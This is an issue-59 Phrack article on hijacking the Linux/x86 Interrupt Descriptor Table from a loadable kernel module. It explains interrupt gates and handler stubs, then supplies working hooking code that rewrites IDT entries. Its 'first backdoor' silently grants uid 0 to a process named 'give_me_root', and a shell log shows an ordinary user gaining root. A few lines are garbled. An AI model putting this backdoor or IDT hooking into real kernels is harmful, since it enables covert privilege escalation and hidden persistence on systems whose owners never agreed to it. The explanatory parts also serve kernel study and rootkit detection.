2574 lines
85 KiB
Plaintext
2574 lines
85 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12
|
|
|
|
|=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=----------------=[ kad, <kadamyse@altern.org> ]=-----------------------=|
|
|
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
|
|
2 - Presentation
|
|
2.1 - What is an interrupt?
|
|
2.2 - Interrupts and exceptions
|
|
2.3 - Interrupt vector
|
|
2.4 - What is IDT?
|
|
|
|
3 - Exceptions
|
|
3.1 - List of exceptions
|
|
3.2 - Whats happening when an exception appears ?
|
|
3.3 - Hooking by mammon
|
|
3.4 - Generic interrupt hooking
|
|
3.5 - Hooking for profit : our first backdoor
|
|
3.6 - Hooking for fun
|
|
|
|
4 - The hardware interrupt
|
|
4.1 - How does It work ?
|
|
4.2 - Initialization and activation of a bottom half
|
|
4.3 - Hooking of the keyboard interrupt
|
|
|
|
5 - Exception programmed for the system call
|
|
5.1 - List of syscalls
|
|
5.2 - How does a syscall work ?
|
|
5.3 - Hooking for profit
|
|
5.3.1 - Hooking of sys_setuid
|
|
5.3.2 - Hooking of sys_write
|
|
5.4 - Hooking for fun
|
|
|
|
6 - CheckIDT
|
|
|
|
7 - References & Greetz
|
|
|
|
8 - Appendix
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
The Intel CPU can be run in two modes: real mode and protected mode.
|
|
The first mode does not protect any kernel registers from being altered
|
|
by userland programs. All modern Operating System make use of the
|
|
protected mode feature to restrict access to critical registers by
|
|
userland processes. The protected mode offers 4 different 'privilege
|
|
levels' (ranging from 0..3, aka ring0..ring3). Userland applications
|
|
are usually executed in ring3. The kernel on the other hand is executed
|
|
in the most privileged mode, ring0. This grants the kernel full access
|
|
to all CPU registers, all parts of the hardware and the memory. With no
|
|
question is this the mode of choice to do start some hacking.
|
|
|
|
The article will demonstrate techniques for modifying the Interrupt
|
|
Descriptor Table (IDT) on Linux/x86. Further on will the article explain
|
|
how the same technique can be used to redirect system calls to achieve
|
|
similar capability as with Loadable Kernel Modules (LKM).
|
|
|
|
The presented examples in this article will only make use of LKM to
|
|
load the executable code into kernel space for simplicity reasons. Other
|
|
techniques which are not scope of this document can be used to either
|
|
load the executable code into the kernel space or to hide the kernel
|
|
module (Spacewalker's method for example).
|
|
|
|
CheckIDT which is a useful tool for examining the IDT and to avoid
|
|
kernel panics every 5 minutes is provided at the end of that paper.
|
|
|
|
|
|
--[ 2 - Presentation
|
|
|
|
----[ 2.1 - What's an interrupt?
|
|
|
|
"An interrupt is usually defined as an event that alters the
|
|
sequence of instructions executed by a processor. Such events correspond to
|
|
electrical signals generated by hardware circuits both inside and outside
|
|
of the CPU chip."
|
|
(from: "Understanding the Linux kernel," O'Reilly publishing.)
|
|
|
|
|
|
----[ 2.2 - Interrupts and exceptions
|
|
|
|
The Intel reference manual refers to "synchronous interrupts" (those
|
|
which are produced by the CPU Control Unit (CU) after the execution of an
|
|
instruction has been finished) as "exceptions". Asynchronous interrupts
|
|
(those which are generated by other hardware devices at arbitrary time) are
|
|
referred to as just "interrupts". Interrupts are issued by external I/O
|
|
devices whereas exceptions are caused either by programming errors or by
|
|
anomalous conditions that must be handled by the kernel. The term
|
|
"Interrupt Signals" will be used during this article to refer to both,
|
|
exceptions and interrupts.
|
|
|
|
Interrupts are split into two categories: Maskable interrupts which can
|
|
be ignored (or 'masked') for a short time period and non-maskable
|
|
interrupts which must be handled immediately. Unmaskable interrupts are
|
|
generated by critical events such as hardware failures; I won't deal
|
|
with them here. The well-known IRQs (Interrupt ReQuests) fall into the
|
|
category of maskable interrupts.
|
|
|
|
Exceptions are split into two different categories: Processor
|
|
generated exceptions (Faults, Traps, Aborts) and programmed exceptions
|
|
which can be triggered by the assembler instructions int or int3. The
|
|
latter one are often referred to as software interrupts.
|
|
|
|
|
|
----[ 2.3 - Interrupt vector
|
|
|
|
Each interrupt or exception is identified by a number between 0 and 255.
|
|
Intel calls this number a vector. The numbers are classified like this:
|
|
|
|
- From 0 to 31 : exceptions and non-maskable interrupts
|
|
- From 32 to 47 : maskable interrupts
|
|
- From 48 to 255 : software interrupts
|
|
|
|
Linux uses only one software interrupt (0x80) which is used for the
|
|
syscall interface to invoke kernel functions.
|
|
|
|
Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to
|
|
the interrupt vectors 32..47.
|
|
|
|
|
|
----[ 2.4 - What is IDT ?
|
|
|
|
IDT = Interrupt Descriptor Table
|
|
|
|
The IDT is a linear table of 256 entries which associates an interrupt
|
|
handler with each interrupt vector.
|
|
Each entry of the IDT is a descriptor of 8 bytes which blows the entire
|
|
IDT up to a size of 256 * 8 = 2048 bytes.
|
|
The IDT can contain three different types of descriptors/entries:
|
|
|
|
- Task Gate Descriptor
|
|
|
|
Linux does not use this descriptor
|
|
|
|
- Interrupt Gate Descriptor
|
|
|
|
63 48|47 40|39 32
|
|
+------------------------------------------------------------
|
|
| | |D|D| | | | | | | | |
|
|
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
|
|
| | |L|L| | | | | | | | |
|
|
=============================================================
|
|
| |
|
|
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
|
|
| |
|
|
------------------------------------------------------------+
|
|
31 16|15 0
|
|
|
|
- bits 0 to 15 : handler offset low
|
|
- bits 16 to 31 : segment selector
|
|
- bits 32 to 37 : reserved
|
|
- bits 37 to 39 : 0
|
|
- bits 40 to 47 : flags/type
|
|
- bits 48 to 63 : handler offset high
|
|
|
|
- Trap Gate Descriptor
|
|
|
|
Same as the previous one, but the flag is different
|
|
|
|
The flag is composed as next :
|
|
|
|
- 5 bits for the type
|
|
interrupt gate : 1 1 1 1 0
|
|
trap gate : 0 1 1 1 0
|
|
- 2 bits for DPL
|
|
DPL = descriptor privilege level
|
|
- 1 bit reserved
|
|
|
|
Offset low and offset high contain the address of the function handling
|
|
the interrupt. This address is jumped at when an interrupt occurs. The goal
|
|
of the article is to change one of these addresses and let our own
|
|
interrupthandler beeing executed.
|
|
|
|
DPL=Descriptor Privilege Level
|
|
|
|
The DPL is equal to 0 or 3. Zero is the most privileged level (kernel
|
|
mode). The current execution level is saved in the CPL register (Current
|
|
Privilege Level). The UC (Unit Of Control) compares the value of the CPL
|
|
register against the DPL field of the interrupt in the IDT. The interrupt
|
|
handler is executed if the DPL field is greater (less privileged) or equal
|
|
to the value in the CPL register. Userland applications are executed in
|
|
ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by
|
|
userland applications.
|
|
|
|
The IDT is initialized one first time by the BIOS routine but Linux
|
|
does it one more time when it take control. The asm lidt function
|
|
initialize the idtr registry which will contain the size and idt's address.
|
|
Then the setup_idt function fill the 256 entry of the idt with the same
|
|
interrupt gate, ignore_int. Then the good gate will be inserted into the
|
|
idt by the next functions:
|
|
|
|
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
|
|
insert an interrupt gate at the n place at the address
|
|
pointed to by the idt register. The interrupt handler's address
|
|
is stored in 'addr'.
|
|
|
|
linux/arch/i386/kernel/irq.c
|
|
All maskable interrupts and software interrupts are initialized with:
|
|
set_intr_gate :
|
|
|
|
#define FIRST_EXTERNAL_VECTOR 0x20
|
|
|
|
for (i = 0; i < NR_IRQS; i++) {
|
|
int vector = FIRST_EXTERNAL_VECTOR + i;
|
|
if (vector != SYSCALL_VECTOR)
|
|
set_intr_gate(vector, interrupt[i]);
|
|
|
|
|
|
linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
|
|
insert a trap gate.
|
|
The DPL field is set to 3.
|
|
|
|
These interrupts can be invoked from the userland (ring3).
|
|
|
|
set_system_gate(3,&int3)
|
|
set_system_gate(4,&overflow)
|
|
set_system_gate(5,&bounds)
|
|
set_system_gate(0x80,&system_call);
|
|
|
|
linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
|
|
insert a trap gate with the DPL field set to 0.
|
|
The Others exception are initialized with set_trap_gate :
|
|
|
|
set_trap_gate(0,÷_error)
|
|
set_trap_gate(1,&debug)
|
|
set_trap_gate(2,&nmi)
|
|
set_trap_gate(6,&invalid_op)
|
|
set_trap_gate(7,&device_not_available)
|
|
set_trap_gate(8,&double_fault)
|
|
set_trap_gate(9,&coprocessor_segment_overrun)
|
|
set_trap_gate(10,&invalid_TSS)
|
|
set_trap_gate(11,&segment_not_present)
|
|
set_trap_gate(12,&stack_segment)
|
|
set_trap_gate(13,&general_protection)
|
|
set_trap_gate(14,&page_fault)
|
|
set_trap_gate(15,&spurious_interrupt_bug)
|
|
set_trap_gate(16,&coprocessor_error)
|
|
set_trap_gate(17,&alignement_check)
|
|
set_trap_gate(18,&machine_check)
|
|
|
|
|
|
IRQ interrupts are initialized by set_intr_gate(), Exception int3,
|
|
overflow, bound and the system_call software interrupt by set_system_gate().
|
|
All others exceptions are initialized by set_trap_gate().
|
|
|
|
|
|
Let's start over with some practice and examine the currently assigned
|
|
handler addresses for each interrupt. Use the tool CheckIDT [6] attached
|
|
to this article for this:
|
|
|
|
%./checkidt -A -s
|
|
|
|
Int *** Stub Address * Segment *** DPL * Type Handler Name
|
|
--------------------------------------------------------------------------
|
|
0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error
|
|
1 0xc0109358 KERNEL_CS 0 Trap gate debug
|
|
2 0xc0109364 KERNEL_CS 0 Trap gate nmi
|
|
3 0xc0109370 KERNEL_CS 3 System gate int3
|
|
4 0xc010937c KERNEL_CS 3 System gate overflow
|
|
5 0xc0109388 KERNEL_CS 3 System gate bounds
|
|
6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op
|
|
...
|
|
18 0xc0109400 KERNEL_CS 0 Trap gate machine_check
|
|
19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
|
|
20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
|
|
...
|
|
31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
|
|
32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt
|
|
33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt
|
|
...
|
|
47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt
|
|
128 0xc01091b4 KERNEL_CS 3 System gate system_call
|
|
|
|
|
|
The System.map contains the symbol names to the addresses shown above.
|
|
|
|
% grep c0109364 /boot/System.map
|
|
00000000c0109364 T nmi
|
|
nmi=not maskable interrupt ->trap_gate
|
|
|
|
% grep c010937c /boot/System.map
|
|
00000000c010937c T overflow
|
|
overflow -> system_gate
|
|
|
|
% grep c01001e4 /boot/System.map
|
|
00000000c01001e4 t ignore_int
|
|
|
|
18 to 31 are reserved by Intel for further use
|
|
|
|
% grep c010a0e0 /boot/System.map
|
|
00000000c010a0e0 t IRQ0x01_interrupt
|
|
device keyboard ->intr_gate
|
|
|
|
% grep c01091b4 /boot/System.map
|
|
00000000c01091b4 T system_call
|
|
system call -> system_gate
|
|
|
|
rem: there is a new option in checkIDT for resolving symbol
|
|
|
|
|
|
--[ 3 - Exceptions
|
|
|
|
----[ 3.1 - List of exceptions
|
|
|
|
--------------------------------------------------------------------------+
|
|
number | Exception | Exception Handler |
|
|
--------------------------------------------------------------------------+
|
|
0 | Divide Error | divide_error() |
|
|
1 | Debug | debug() |
|
|
2 | Nonmaskable Interrupt | nmi() |
|
|
3 | Break Point | int3() |
|
|
4 | Overflow | overflow() |
|
|
5 | Boundary verification | bounds() |
|
|
6 | Invalid operation code | invalid_op() |
|
|
7 | Device not available | device_not_available() |
|
|
8 | Double Fault | double_fault() |
|
|
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
|
|
10 | TSS not valid | invalid_tss() |
|
|
11 | Segment not present | segment_no_present() |
|
|
12 | stack exception | stack_segment() |
|
|
13 | General Protection | general_protection() |
|
|
14 | Page Fault | page_fault() |
|
|
15 | Reserved by Intel | none |
|
|
16 | Calcul Error with float virgul| coprocessor_error() |
|
|
17 | Alignement check | alignement_check() |
|
|
18 | Machine Check | machine_check() |
|
|
--------------------------------------------------------------------------+
|
|
|
|
Exceptions are divided into two categories:
|
|
- processor detected exceptions (DPL field set to 0)
|
|
- software interrupts (aka programmed exceptions), (DPL field set to 3).
|
|
|
|
The latter one can be invoked from userland.
|
|
|
|
|
|
----[ 3.2 - Whats happening when an exception occurs ?
|
|
|
|
On the occurrence of an exception the corresponding handler address
|
|
from the current IDT is executed. This handler is not the real handler who
|
|
deals with the exception, it's just jumps till the true/good handler.
|
|
|
|
To be clearer :
|
|
|
|
exception -----> intermediate Handler -----> Real Handler
|
|
|
|
entry.S defines all the intermediate Handler, also called Generic Handler
|
|
or stub. The first Handler is written in asm, the real Handler written in
|
|
C.
|
|
|
|
For not being confused, lets call the first handler : asm Handler
|
|
and the second one the C Handler.
|
|
|
|
let's have a look at entry.S :
|
|
|
|
entry.S :
|
|
---------
|
|
|
|
**************************************************
|
|
ENTRY(nmi)
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_nmi)
|
|
jmp error_code
|
|
|
|
ENTRY(int3)
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_int3)
|
|
jmp error_code
|
|
|
|
ENTRY(overflow)
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_overflow)
|
|
jmp error_code
|
|
|
|
ENTRY(divide_error)
|
|
|
|
pushl $0 # no error value/code
|
|
pushl $ SYMBOL_NAME(do_divide_error)
|
|
ALIGN
|
|
error_code:
|
|
pushl %ds
|
|
pushl %eax
|
|
xorl %eax,%eax
|
|
pushl %ebp
|
|
pushl %edi
|
|
pushl %esi
|
|
pushl %edx
|
|
decl %eax # eax = -1
|
|
pushl %ecx
|
|
pushl %ebx
|
|
cld
|
|
movl %es,%cx
|
|
movl ORIG_EAX(%esp), %esi # get the error value
|
|
movl ES(%esp), %edi # get the function address
|
|
movl %eax, ORIG_EAX(%esp)
|
|
movl %ecx, ES(%esp)
|
|
movl %esp,%edx
|
|
pushl %esi # push the error code
|
|
pushl %edx # push the pt_regs pointer
|
|
movl $(__KERNEL_DS),%edx
|
|
movl %dx,%ds
|
|
movl %dx,%es
|
|
GET_CURRENT(%ebx)
|
|
call *%edi
|
|
addl $8,%esp
|
|
jmp ret_from_exception
|
|
**********************************************
|
|
|
|
Let's examine the above:
|
|
|
|
ALL handlers have the same structure (only system_call and
|
|
device_not_available are different):
|
|
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_####name)
|
|
jmp error_code
|
|
|
|
Pushl $0 is only used for some exceptions. The UC is supposed to smear
|
|
the hardware error value of the exception onto the stack. Some exceptions
|
|
to not generate an error value and $0 (zero) is pushed instead. The last
|
|
line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).
|
|
|
|
error code is an asm macro used by the exceptions.
|
|
|
|
so let's resume once again
|
|
|
|
exception ---> intermediate Handler ---> error_code macro ---> Real Handler
|
|
|
|
The Assembly fragment error_code performs the following steps:
|
|
|
|
1: Saves the registers that might be used by the high-level C function on
|
|
the stack.
|
|
|
|
2: Set eax to -1.
|
|
|
|
3: Copy the hardware error value ($esp + 36) and the handler's address
|
|
($esp + 32) in esi and edi respectively.
|
|
|
|
movl ORIG_EAX(%esp), %esi
|
|
movl ES(%esp), %edi
|
|
|
|
|
|
4: Place eax, which is equal to -1, at the error code emplacement.
|
|
Copy the content of es to the stack location at $esp + 32.
|
|
|
|
5: Save the the stack's top Address into edx,then smear error_code which we
|
|
get back at point 3 and edx on the stack.
|
|
The stack's top address must be saved for later use.
|
|
|
|
6: Place the kernel data segment selector into the ds and es registry.
|
|
|
|
7: Set the current process descriptor's address in ebx.
|
|
|
|
8: Stores the parameters to be passed to the high-level C function on the
|
|
stack (e.g. the hardware exception value and the address and the stack
|
|
location of the saved registers from the user mode process).
|
|
|
|
9: Call the exception handler (address is in edi, see 3).
|
|
|
|
10: The two last instructions are for the back of the exception.
|
|
|
|
error_code will jump to the suitable exception Manager. The one that's
|
|
gonna actually handle the exceptions (see traps.c for detailed
|
|
information).
|
|
|
|
So these ones are written in C.
|
|
|
|
Let's take an exception handler as a concrete example. For example, the
|
|
C handler for non maskable nmi interruption.
|
|
|
|
rem: taken from traps.c
|
|
|
|
**************************************************************
|
|
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
|
|
{
|
|
unsigned char reason = inb(0x61);
|
|
extern atomic_t nmi_counter;
|
|
....
|
|
**************************************************************
|
|
|
|
asmlinkage is a macro used to keep params on the stack. As params are
|
|
passed from asm code to C code through the stack, it would be bad to get
|
|
unwanted params put on the top of the stack. Asmlinkage gonna resolve
|
|
that point.
|
|
|
|
The function do_nmi gets a pointer of type pt_regs and error_code.
|
|
|
|
pt_regs is defined into /usr/include/asm/ptrace.h:
|
|
|
|
struct pt_regs {
|
|
long ebx;
|
|
long ecx;
|
|
long edx;
|
|
long esi;
|
|
long edi;
|
|
long ebp;
|
|
long eax;
|
|
int xds;
|
|
int xes;
|
|
long orig_eax;
|
|
long eip;
|
|
int xcs;
|
|
long eflags;
|
|
long esp;
|
|
int xss;
|
|
};
|
|
|
|
A part of the registry are push on the stack by error_code, the others
|
|
are some registry pushed by the UC at the hardware level.
|
|
|
|
This handler will handle the exception and almost all time send a signal to
|
|
the process.
|
|
|
|
|
|
----[ 3.3 - Hooking an interrupt (by Mammon)
|
|
|
|
Mammon wrote a txt on how to hook interrupt under linux. The technique
|
|
I'm going to explain is similar to that of Mammon but will allow us
|
|
to handle the interrupt in a more generic/comfortable way.
|
|
|
|
Let's take int3, the breakpoint interrupt. The handler/stub is defines as
|
|
following:
|
|
|
|
ENTRY(int3)
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_int3)
|
|
jmp error_code
|
|
|
|
The C handler's address is pushed on the stack right after the dummy
|
|
hardware error value (zero) has been saved. The assembly fragment
|
|
error_code is executed next. Our approach is to rewrite such an asm handler
|
|
and push our own handler's address on the stack instead of the original one
|
|
(do_int3).
|
|
|
|
Example:
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
"pushl $0 \n"
|
|
"pushl ptr_handler(,1) \n"
|
|
"jmp *ptr_error_code "
|
|
::
|
|
);
|
|
}
|
|
|
|
Our new handler looks similar to the original one. The surrounding
|
|
statements are required to get it compiled with a C compiler.
|
|
|
|
- We put our asm code into a function to make linking easier.
|
|
- .globl my_stub, will allow us to reference the asm code if we declare
|
|
in global : extern asmlinkage void my_stub();
|
|
- align 4,0x90, align the size of one word, on Intel processor the
|
|
alignement is 4 (32 bits).
|
|
- push ptr_handler(,1) , conform to the gas syntax,we wont use it later.
|
|
|
|
|
|
For more information about asm inline, see [1].
|
|
|
|
We push our Handler's address and we jump to error_code.
|
|
|
|
ptr_handler contain our C Handler's address :
|
|
|
|
unsigned long ptr_handler=(unsigned long)&my_handler;
|
|
|
|
The C Handler:
|
|
|
|
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
|
|
{
|
|
void (*old_int_handler)(struct pt_regs *,long) = (void *)
|
|
old_handler;
|
|
printk("<1>Wowowo hijacking of int 3 \n");
|
|
(*old_int_handler)(regs,err_code);
|
|
return;
|
|
}
|
|
|
|
We get back two argument, one pointer on the registry, and err_code.
|
|
We have seen before that error_code push this two argument. We save the
|
|
old handler's address,the one we was supposed to push (pushl
|
|
$SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the
|
|
interrupt and go back to the old handler.Its the same way as hooking a
|
|
syscall with "classical method".
|
|
|
|
What's old_handler ?
|
|
|
|
#define do_int3 0xc010977c
|
|
unsigned long old_handler=do_int3;
|
|
|
|
do_int3 address have been catch from System.map.
|
|
|
|
rem : We can define a symbol's address on-the-fly.
|
|
|
|
To be clearer :
|
|
|
|
asm Handler
|
|
----------------
|
|
push 0
|
|
push our handler
|
|
jmp to error_code
|
|
|
|
error_code
|
|
----------
|
|
do some operation
|
|
pop our handler address
|
|
jmp to our C handler
|
|
|
|
our C Handler
|
|
--------------------
|
|
save the old handler's address
|
|
print a message
|
|
return to the real C handler
|
|
|
|
Real C Handler
|
|
-------------------
|
|
really deal with the interrupt
|
|
|
|
|
|
Now we have to change the first Handler's address in the corresponding
|
|
descriptor in the IDT (offset_low and offset_high, see 2.4). The function
|
|
accepts three parameters: The number of the interrupt hook, the new
|
|
handler's address and a pointer to save the old handler's address.
|
|
|
|
|
|
|
|
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
|
|
{
|
|
unsigned long new_addr=(unsigned long)new_stub;
|
|
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
|
|
//save old stub
|
|
|
|
if(old_stub)
|
|
*old_stub=(unsigned long)get_stub_from_idt(3);
|
|
//assign new stub
|
|
idt[n].offset_high = (unsigned short) (new_addr >> 16);
|
|
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
|
|
return;
|
|
}
|
|
|
|
unsigned long get_addr_idt (void)
|
|
{
|
|
unsigned char idtr[6];
|
|
unsigned long idt;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
idt = *((unsigned long *) &idtr[2]);
|
|
return(idt);
|
|
}
|
|
|
|
void * get_stub_from_idt (int n)
|
|
{
|
|
struct descriptor_idt *idte = &((struct descriptor_idt *)
|
|
ptr_idt_table) [n];
|
|
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
|
|
}
|
|
|
|
struct descriptor_idt:
|
|
|
|
struct descriptor_idt
|
|
{
|
|
unsigned short offset_low,seg_selector;
|
|
unsigned char reserved,flag;
|
|
unsigned short offset_high;
|
|
};
|
|
|
|
We have seen that a descriptor is 64 bits long.
|
|
|
|
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
|
|
unsigned char : 8 bits (reserved and flag)
|
|
|
|
(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
|
|
|
|
It's a descriptor for the IDT. The only interesting fields are offset_high
|
|
and offset_low. It's the two fields we will modify.
|
|
|
|
Hook_stub performs the following steps:
|
|
|
|
1: We copy our handler's address into new_addr
|
|
|
|
2: We make the idt variable point on the first IDT descriptor.
|
|
We got the IDT's address with the function get_addr_idt().
|
|
This function execute the asm instruction sidt who get the idt address
|
|
and his size into a variable.
|
|
We get the idt's address from this variable (idtr) and we send it back.
|
|
This have been already explained by sd and devik in Phrack 58 article 7.
|
|
3: We save the old handler's address with the function get_stub_from_idt.
|
|
This function extract the fields offset_high and offset_low from the
|
|
gived descriptor and send back the address.
|
|
|
|
struct descriptor_idt *idte = &((struct descriptor_idt *)
|
|
ptr_idt_table) [n];
|
|
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
|
|
|
|
n = the number of the interrupt to hook. idte will then contain the
|
|
given interrupt descriptor.
|
|
|
|
We send the handler's address back,for it we send a type
|
|
(void*) (32 bits).
|
|
|
|
offset_high and offset_low do both 16 bits, we slide the bit for offset
|
|
high to the left,and we add offset_low. The whole part give the handler's
|
|
address.
|
|
|
|
4 : new_addr contain our handler's address,always 32 bits.
|
|
We extract the 16 MSB and put them into offset_high and the 16
|
|
LSB into offset_low.
|
|
|
|
The fields offset_high and offset_low of the interrupt's descriptor to
|
|
handle have been changed.
|
|
|
|
The whole code is available in annexe CODE 1
|
|
|
|
Why is this technique not perfect?
|
|
Its not that its bad, but it isn't appropriate for the others
|
|
interrupt.Here we admit that all handler are like that :
|
|
|
|
pushl $0
|
|
pushl $ SYMBOL_NAME(do_####name)
|
|
jmp error_code
|
|
|
|
|
|
It's True.If you give a look in entry.S, they are almost all look like
|
|
this. But not all. Imagine you wanna hook the syscall's handler, The
|
|
device_not_aivable Handler (even if its not really interesting)or even the
|
|
hardware interrupt....How Will we do it ?
|
|
|
|
----[ 3.4 - Generic interrupt hooking
|
|
|
|
We are going to use another technique to hook a handler. Remember, in the
|
|
handler written in C, we went back to the true C handler thanks to a
|
|
return.
|
|
|
|
Now, we are going to go back in the asm code.
|
|
|
|
Simple example of handler :
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
" call *%0 \n"
|
|
" jmp *%1 \n"
|
|
::"m"(hostile_code),"m"(old_stub)
|
|
);
|
|
}
|
|
|
|
Here, we make a call to our fake C handler, the handler is executed and
|
|
goes back to the asm handler which jumps to the true asm handler !
|
|
|
|
Our C handler :
|
|
|
|
asmlinkage void my_function()
|
|
{
|
|
printk("<1>Interrupt %i hijack \n",interrupt);
|
|
}
|
|
|
|
|
|
What happens ?
|
|
|
|
We are going to change the address in the idt by the address of our asm
|
|
handler. This one will jump to our C handler and will go back to our asm
|
|
handler which, at the end, will jump to the true asm handler the address
|
|
of which we have saved.
|
|
|
|
::"m"(hostile_code),"m"(old_stub)
|
|
|
|
|
|
For those who had not felt up to read the doc on asm inline, here is the
|
|
syntax :
|
|
|
|
asm (
|
|
assembler instruction
|
|
: output operands
|
|
: input operands
|
|
: list of modified registers
|
|
);
|
|
|
|
|
|
You can put asm or __asm__. __asm__ is used to avoid confusion with other
|
|
vars. You can also put asm volatile, in this case the asm code won't
|
|
be changed (optimized) during the compilation.
|
|
|
|
"m"(hostile_code) and "m"(old_stub) are input operands. The first one is
|
|
equal to %0, the second one to %1, ... So call %0 is equal to call
|
|
hostile_code. "m" means memory address. hostile_code corresponds to the
|
|
address of our C handler and old_stub to the address of the handler that
|
|
was in the idt previously. If this seems impossible to understand, I advice
|
|
you to read the doc on asm inline [1].
|
|
|
|
The whole code is in annexe. All the next codes comes from this code.
|
|
In each new example, I will only show the asm handler et the C handler.
|
|
The rest will be the same.
|
|
|
|
|
|
First concrete example :
|
|
|
|
bash-2.05# cat test.c
|
|
#include <stdio.h>
|
|
|
|
int main ()
|
|
{
|
|
int a=8,b=0;
|
|
printf("A/B = %i\n",a/b);
|
|
return 0;
|
|
}
|
|
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
|
|
bash-2.05# insmod hookstub-V0.2.o interrupt=0
|
|
Inserting hook
|
|
Hooking finish
|
|
bash-2.05# ./test
|
|
Floating point exception
|
|
Interrupt 0 hijack
|
|
bash-2.05# rmmod hookstub-V0.2
|
|
Removing hook
|
|
bash-2.05#
|
|
|
|
Good ! We see the "Interrupt hijack".
|
|
|
|
In this code, we use MODULE_PARM which will allow to give parameters during
|
|
the module insertion. For further information about this syntax, read
|
|
"linux device drivers" from o'reilly [2] (chapter 2). This will allow us
|
|
to hook a chosen interrupt with the same module.
|
|
|
|
|
|
----[ 3.5 - Hooking for profit : our first backdoor
|
|
|
|
This first very simple backdoor will allow us to obtain a root shell.
|
|
The C handler is going to give the root rights to the process that has
|
|
generated the interrupt.
|
|
|
|
Asm handler
|
|
------------
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
" pushl %%ebx \n"
|
|
" movl %%esp,%%ebx \n"
|
|
" andl $-8192,%%ebx \n"
|
|
" pushl %%ebx \n"
|
|
" call *%0 \n"
|
|
" addl $4,%%esp \n"
|
|
" popl %%ebx \n"
|
|
" jmp *%1 \n"
|
|
::"m"(hostile_code),"m"(old_stub)
|
|
);
|
|
}
|
|
|
|
We give to the C handler the address of the current process descriptor.
|
|
We get it back like in error_code, thanks to the macro GET_CURRENT :
|
|
|
|
#define GET_CURRENT(reg) \
|
|
movl %esp, reg; \
|
|
andl $-8192, reg;
|
|
|
|
defined in entry.S.
|
|
|
|
rem : We can also use current instead.
|
|
|
|
We put the result on the stack and we call our function. The rest of the
|
|
asm code puts the stack back in its previous state and jumps to the
|
|
true handler.
|
|
|
|
|
|
C handler :
|
|
-------------
|
|
...
|
|
unsigned long hostile_code=(unsigned long)&my_function;
|
|
...
|
|
|
|
asmlinkage void my_function(unsigned long addr_task)
|
|
{
|
|
struct task_struct *p = &((struct task_struct *) addr_task)[0];
|
|
if(strcmp(p->comm,"give_me_root")==0 )
|
|
{
|
|
p->uid=0;
|
|
p->gid=0;
|
|
}
|
|
}
|
|
|
|
We declare a pointer on the current process descriptor. We compare the name
|
|
of the process with a name we have chosen. We must not attribute the root
|
|
rights to all the process which would generate this interrupt. If it is
|
|
the good process, then we can give it new rights.
|
|
|
|
"give_me_root" is a little program which launch a shell
|
|
(system("/bin/sh")). We will only have to put a breakpoint before system
|
|
to launch a shell with the root rights.
|
|
|
|
In practice :
|
|
--------------
|
|
|
|
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
|
|
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
|
|
Inserting hook
|
|
Hooking finish
|
|
bash-2.05#
|
|
|
|
///// in another shell //////
|
|
|
|
sh-2.05$ cat give_me_root.c
|
|
#include <stdio.h>
|
|
|
|
int main (int argc, char ** argv)
|
|
{
|
|
system("/bin/sh");
|
|
return 0;
|
|
}
|
|
|
|
sh-2.05$ gcc -o give_me_root give_me_root.c
|
|
sh-2.05$ id
|
|
uid=1000(kad) gid=100(users) groups=100(users)
|
|
sh-2.05$ gdb give_me_root -q
|
|
(gdb) b main
|
|
Breakpoint 1 at 0x80483f6
|
|
(gdb) r
|
|
Starting program: /tmp/give_me_root
|
|
|
|
Breakpoint 1, 0x080483f6 in main ()
|
|
(gdb) c
|
|
Continuing.
|
|
sh-2.05# id
|
|
uid=0(root) gid=0(root) groups=100(users)
|
|
sh-2.05#
|
|
|
|
We are root. The code is in annexe, CODE 2.
|
|
|
|
|
|
